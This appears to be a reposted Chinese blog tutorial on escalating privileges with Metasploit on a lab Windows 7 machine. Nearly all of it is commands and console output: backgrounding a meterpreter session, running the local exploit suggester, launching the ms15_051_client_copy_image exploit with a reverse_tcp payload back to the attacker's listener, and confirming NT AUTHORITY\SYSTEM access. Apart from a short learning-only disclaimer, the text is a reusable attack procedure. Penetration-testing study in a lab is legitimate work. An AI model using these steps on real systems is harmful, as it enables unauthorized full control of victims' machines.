当前位置:   article > 正文

【网络安全】 MSF提权_msf对ssh session提权

msf对ssh session提权

本文章仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若读者因此作出任何危害网络安全的行为,后果自负,与作者无关。

环境准备:

名称系统位数IP
攻击机Kali Linux6410.3.0.231
客户端Windows 76410.3.0.234

当我们通过MSF成功登录靶机时,进行提权时如果报如下,表示没有拿到系统权限

  1. meterpreter > getsystem
  2. # 输出
  3. [-] priv_elevate_getsystem: Operation failed: 1726 The following was attempted:
  4. [-] Named Pipe Impersonation (In Memory/Admin)
  5. [-] Named Pipe Impersonation (Dropper/Admin)
  6. [-] Token Duplication (In Memory/Admin)
  7. [-] Named Pipe Impersonation (RPCSS variant)
  8. [-] Named Pipe Impersonation (PrintSpooler variant)
  9. [-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)

接下我们演示如何进入提权:

1、切换 msf

  1. meterpreter > bg
  2. # 输出
  3. [*] Backgrounding session 2...

2、使用本地漏洞模块

  1. # 用这个模块快速识别系统中可能被利用的漏洞
  2. msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
  3. # 输出
  4. msf6 post(multi/recon/local_exploit_suggester) >

3、设置 Session

  1. # session 值通过 sessions -l 查看
  2. msf6 post(multi/recon/local_exploit_suggester) > set session 2
  3. # 输出
  4. session => 2

4、运行

  1. msf6 post(multi/recon/local_exploit_suggester) > run
  2. # 输出
  3. [*] 10.3.0.234 - Collecting local exploits for x64/windows...
  4. [*] 10.3.0.234 - 186 exploit checks are being tried...
  5. [+] 10.3.0.234 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
  6. [+] 10.3.0.234 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
  7. [+] 10.3.0.234 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
  8. [+] 10.3.0.234 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
  9. [+] 10.3.0.234 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
  10. [+] 10.3.0.234 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
  11. [+] 10.3.0.234 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
  12. [+] 10.3.0.234 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
  13. [+] 10.3.0.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
  14. [+] 10.3.0.234 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
  15. [+] 10.3.0.234 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
  16. [+] 10.3.0.234 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
  17. [+] 10.3.0.234 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
  18. [*] Running check method for exploit 43 / 43
  19. [*] 10.3.0.234 - Valid modules for session 2:
  20. ============================
  21. # Name Potentially Vulnerable? Check Result
  22. - ---- ----------------------- ------------
  23. 1 exploit/windows/local/bypassuac_dotnet_profiler Yes The target appears to be vulnerable.
  24. 2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
  25. 3 exploit/windows/local/bypassuac_sdclt Yes The target appears to be vulnerable.
  26. 4 exploit/windows/local/cve_2019_1458_wizardopium Yes The target appears to be vulnerable.
  27. 5 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
  28. 6 exploit/windows/local/cve_2020_1054_drawiconex_lpe Yes The target appears to be vulnerable.
  29. 7 exploit/windows/local/cve_2021_40449 Yes The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
  30. 8 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
  31. 9 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
  32. 10 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
  33. 11 exploit/windows/local/ms15_078_atmfd_bof Yes The service is running, but could not be validated.
  34. 12 exploit/windows/local/ms16_014_wmi_recv_notif Yes The target appears to be vulnerable.
  35. 13 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
  36. 14 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
  37. 15 exploit/windows/local/always_install_elevated No The target is not exploitable.
  38. 16 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
  39. 17 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
  40. 18 exploit/windows/local/bypassuac_sluihijack No The target is not exploitable.
  41. 19 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
  42. 20 exploit/windows/local/capcom_sys_exec No The target is not exploitable.
  43. 21 exploit/windows/local/cve_2020_0796_smbghost No The target is not exploitable.
  44. 22 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
  45. 23 exploit/windows/local/cve_2020_1313_system_orchestrator No The target is not exploitable.
  46. 24 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
  47. 25 exploit/windows/local/cve_2020_17136 No The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
  48. 26 exploit/windows/local/cve_2021_21551_dbutil_memmove No The target is not exploitable.
  49. 27 exploit/windows/local/cve_2022_21882_win32k No The target is not exploitable.
  50. 28 exploit/windows/local/cve_2022_21999_spoolfool_privesc No The target is not exploitable. Windows 7 is technically vulnerable, though it requires a reboot.
  51. 29 exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver No The target is not exploitable.
  52. 30 exploit/windows/local/cve_2023_21768_afd_lpe No The target is not exploitable. The exploit only supports Windows 11 22H2
  53. 31 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
  54. 32 exploit/windows/local/ikeext_service No The check raised an exception.
  55. 33 exploit/windows/local/lexmark_driver_privesc No The target is not exploitable. No Lexmark print drivers in the driver store
  56. 34 exploit/windows/local/ms16_075_reflection No The target is not exploitable.
  57. 35 exploit/windows/local/ms16_075_reflection_juicy No The target is not exploitable.
  58. 36 exploit/windows/local/ntapphelpcachecontrol No The check raised an exception.
  59. 37 exploit/windows/local/nvidia_nvsvc No The check raised an exception.
  60. 38 exploit/windows/local/panda_psevents No The target is not exploitable.
  61. 39 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
  62. 40 exploit/windows/local/srclient_dll_hijacking No The target is not exploitable. Target is not Windows Server 2012.
  63. 41 exploit/windows/local/tokenmagic No The target is not exploitable.
  64. 42 exploit/windows/local/virtual_box_opengl_escape No The target is not exploitable.
  65. 43 exploit/windows/local/webexec No The check raised an exception

5、我们找到一个漏洞,注意:这里不是每个漏洞都可以成功,要多试几个

  1. msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image
  2. # 输出
  3. [*] Using configured payload windows/x64/meterpreter/reverse_tcp

6、查看这个模块的选项,这里有个注意点,因为我的靶机是 win7 64位系统,所以你通过msfvenom 生成的木马也要是64位,这里的 tartget 也要是64位的,如果不是,通过 set target 进行设置

  1. msf6 exploit(windows/local/ms15_051_client_copy_image) > options
  2. Module options (exploit/windows/local/ms15_051_client_copy_image):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. SESSION 2 yes The session to run this module on
  6. Payload options (windows/x64/meterpreter/reverse_tcp):
  7. Name Current Setting Required Description
  8. ---- --------------- -------- -----------
  9. EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
  10. LHOST 10.3.0.231 yes The listen address (an interface may be specified)
  11. LPORT 4444 yes The listen port
  12. # 这里的 tartget 也要是64位的
  13. Exploit target:
  14. Id Name
  15. -- ----
  16. 1 Windows x64

7、再次进行渗透,成功出现meterpreter ,代表成功

  1. msf6 exploit(windows/local/ms15_051_client_copy_image) > run
  2. # 输出
  3. [*] Started reverse TCP handler on 10.3.0.231:4444
  4. [*] Reflectively injecting the exploit DLL and executing it...
  5. [*] Launching netsh to host the DLL...
  6. [+] Process 3804 launched.
  7. [*] Reflectively injecting the DLL into 3804...
  8. [*] Sending stage (200774 bytes) to 10.3.0.234
  9. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
  10. [*] Meterpreter session 4 opened (10.3.0.231:4444 -> 10.3.0.234:52882) at 2024-03-15 11:47:15 +0800
  11. meterpreter >

8、 查看权限

  1. meterpreter > getuid
  2. # 成功提权
  3. Server username: NT AUTHORITY\SYSTEM

9、再次查看 sessions

  1. msf6 exploit(windows/local/ms15_051_client_copy_image) > sessions -l
  2. # 我们发现也多了一个
  3. Active sessions
  4. ===============
  5. Id Name Type Information Connection
  6. -- ---- ---- ----------- ----------
  7. 2 meterpreter x64/windows tomma-PC\tomma @ TOMMA-PC 10.3.0.231:9999 -> 10.3.0.234:52740 (10.3.0.234)
  8. 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ TOMMA-PC 10.3.0.231:4444 -> 10.3.0.234:52882 (10.3.0.234)

 

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/544519
推荐阅读
相关标签
  

闽ICP备14008679号